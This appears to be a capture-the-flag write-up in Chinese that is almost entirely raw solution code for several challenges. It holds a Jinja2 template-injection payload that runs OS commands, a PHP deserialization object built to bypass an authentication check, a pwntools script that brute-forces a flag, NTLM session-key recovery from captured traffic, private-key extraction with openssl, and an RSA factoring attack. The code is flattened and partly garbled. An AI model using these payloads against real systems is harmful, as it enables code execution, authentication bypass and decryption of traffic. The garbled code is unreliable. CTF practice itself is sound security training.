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WEB4-snake

{{lipsum.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()')}}

WEB7-gamepassword

<?php class root { public $username; public $value; public $kk; }class user { public $username; public $password; public $value; }// 创建 root 和 user 对象 $root = new root(); $root->username = 'xxx'; $root->value = 2024; // 创建 user 对象 $user = new user(); $user->username = &$root->username; // 引用 root 对象中的 username $user->password = null; $user->value = '99933'; $root->kk = $user; // 序列化对象 $serializedData = serialize($root); echo $serializedData; ?>

Misc1-pickle_jail

from pwn import *import structimport reip = ''port = CHARACTER_SET = '0123456789abcdef-'CURRENT_FLAG = 'flag{'def establish_connection():return remote(ip, port)def retrieve_player_count(connection):'''从服务中检索玩家数量'''players_info = connection.recvuntil(b'What's your name?n')player_data = re.findall(b'[(.*)]', players_info)return 289 - (len(player_data[0]) - 248) if player_data else 289def construct_payload(attempted_flag, player_count):'''构造payload'''name_length = struct.pack('<I', len(attempted_flag))if b'n' in name_length:attempted_flag = attempted_flag[1:]name_length = struct.pack('<I', len(attempted_flag))padding_length = struct.pack('<I', 600 - len(attempted_flag) - player_count)prefix = b'Bx7fx00x00x00'suffix = b'(B' + name_length + attempted_flag.encode() + b'B' + padding_lengthpayload = prefix + b'x00' * 127 + suffix + b'x00' * (254 - len(prefix) - 127 - len(suffix))return payloaddef verify_flag_response(response, attempted_flag):'''验证响应中是否包含尝试的flag'''if attempted_flag.encode() in response:if attempted_flag[0] != 'f':return 'f' + attempted_flagelse:return attempted_flagreturn Nonedef main():while True:for char in CHARACTER_SET:with establish_connection() as conn:player_count = retrieve_player_count(conn)attempted_flag = CURRENT_FLAG + charprint(f'Attempting flag: {attempted_flag}')payload = construct_payload(attempted_flag, player_count)conn.sendline(payload)conn.recvuntil(b'Enter a random number to win: n')conn.sendline(b'x0c')response = conn.recvline()print(f'Server response: {response}')updated_flag = verify_flag_response(response, attempted_flag)if updated_flag:CURRENT_FLAG = updated_flagprint(f'Updated flag: {CURRENT_FLAG}')breakif __name__ == '__main__':main()

MISC8-谍影重重5.0:

import hashlibimport hmacimport argparse#stolen from impacket. Thank you all for your wonderful contributions to the community# try:from Cryptodome.Cipher import ARC4from Cryptodome.Cipher import DESfrom Cryptodome.Hash import MD4# except Exception:#     LOG.critical('Warning: You don't have any crypto installed. You need pycryptodomex')#     LOG.critical('See https:///project/pycryptodomex/')def generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey):   cipher = ARC4.new(keyExchangeKey)   cipher_encrypt = cipher.encrypt   sessionKey = cipher_encrypt(exportedSessionKey)   return sessionKey###parser = argparse.ArgumentParser(description='Calculate the Random Session Key based on data from a PCAP (maybe).')parser.add_argument('-u','--user',required=True,help='User name')parser.add_argument('-d','--domain',required=True, help='Domain name')parser.add_argument('-p','--password',required=True,help='Password of User')parser.add_argument('-n','--ntproofstr',required=True,help='NTProofStr. This can be found in PCAP (provide Hex Stream)')parser.add_argument('-k','--key',required=True,help='Encrypted Session Key. This can be found in PCAP (provide Hex Stream)')parser.add_argument('-v', '--verbose', action='store_true', help='increase output verbosity')args = parser.parse_args()#Upper Case User and Domainuser = str(args.user).upper().encode('utf-16le')domain = str(args.domain).upper().encode('utf-16le')#Create 'NTLM' Hash of passwordpassw = args.password.encode('utf-16le')hash1 = hashlib.new('md4', passw)password = hash1.digest()#Calculate the ResponseNTKeyh = hmac.new(password, digestmod=hashlib.md5)h.update(user+domain)respNTKey = h.digest()#Use NTProofSTR and ResponseNTKey to calculate Key Excahnge KeyNTproofStr = args.ntproofstr.decode('hex')h = hmac.new(respNTKey, digestmod=hashlib.md5)h.update(NTproofStr)KeyExchKey = h.digest()#Calculate the Random Session Key by decrypting Encrypted Session Key with Key Exchange Key via RC4RsessKey = generateEncryptedSessionKey(KeyExchKey,args.key.decode('hex'))if args.verbose:    print 'USER WORK: ' + user + '' + domain    print 'PASS HASH: ' + password.encode('hex')    print 'RESP NT:   ' + respNTKey.encode('hex')    print 'NT PROOF:  ' + NTproofStr.encode('hex')    print 'KeyExKey:  ' + KeyExchKey.encode('hex')    print 'Random SK: ' + RsessKey.encode('hex')

openssl pkcs12 -in 2.pfx -nocerts -out server_key.pem -nodesopenssl rsa -in server_key.pem -out server.key

#encoding:utf-8from Crypto.Util.number import bytes_to_long, long_to_bytesfrom gmpy2 import mpz, iroot, powmod, invert# N = pq 2050bit; p 1025 bit; q 1025 bitN = mpz('')# g 500bit; is p-1 and q-1 prime factor# p = 2*g*a + 1; q = 2*g*b + 1g = mpz('')e = 65537C = mpz('')# Calculate h, u, and vh = (N - 1) // gu = h // gv = h % gdef Solve_c(start_r=5100,start_s=2000):# Calculate approximate square root of Nsqrt_N = iroot(mpz(N), 2)[0]C_approx = sqrt_N // (g * g)  # 确保结果为整数a = 2b = powmod(a, g, N)# Loop over possible values of Cfor i in range(2, int(C_approx) + 1):  # 使用 int() 将 C_approx 转换为整数D = (iroot(C_approx, 2)[0] + 1) * ifinal = powmod(b, u, N)for r in range(5100,int(D)):print(f'Checking r*D for i={i}: {r * D}')for s in range(2000,int(D)):if powmod(b, r * D + s, N) == final:print('Solution found: r =', r, 's =', s, 'i =', i)return r * D + s# Get the value of cc = Solve_c()print('c:', c) # Expected output: c = 51589121

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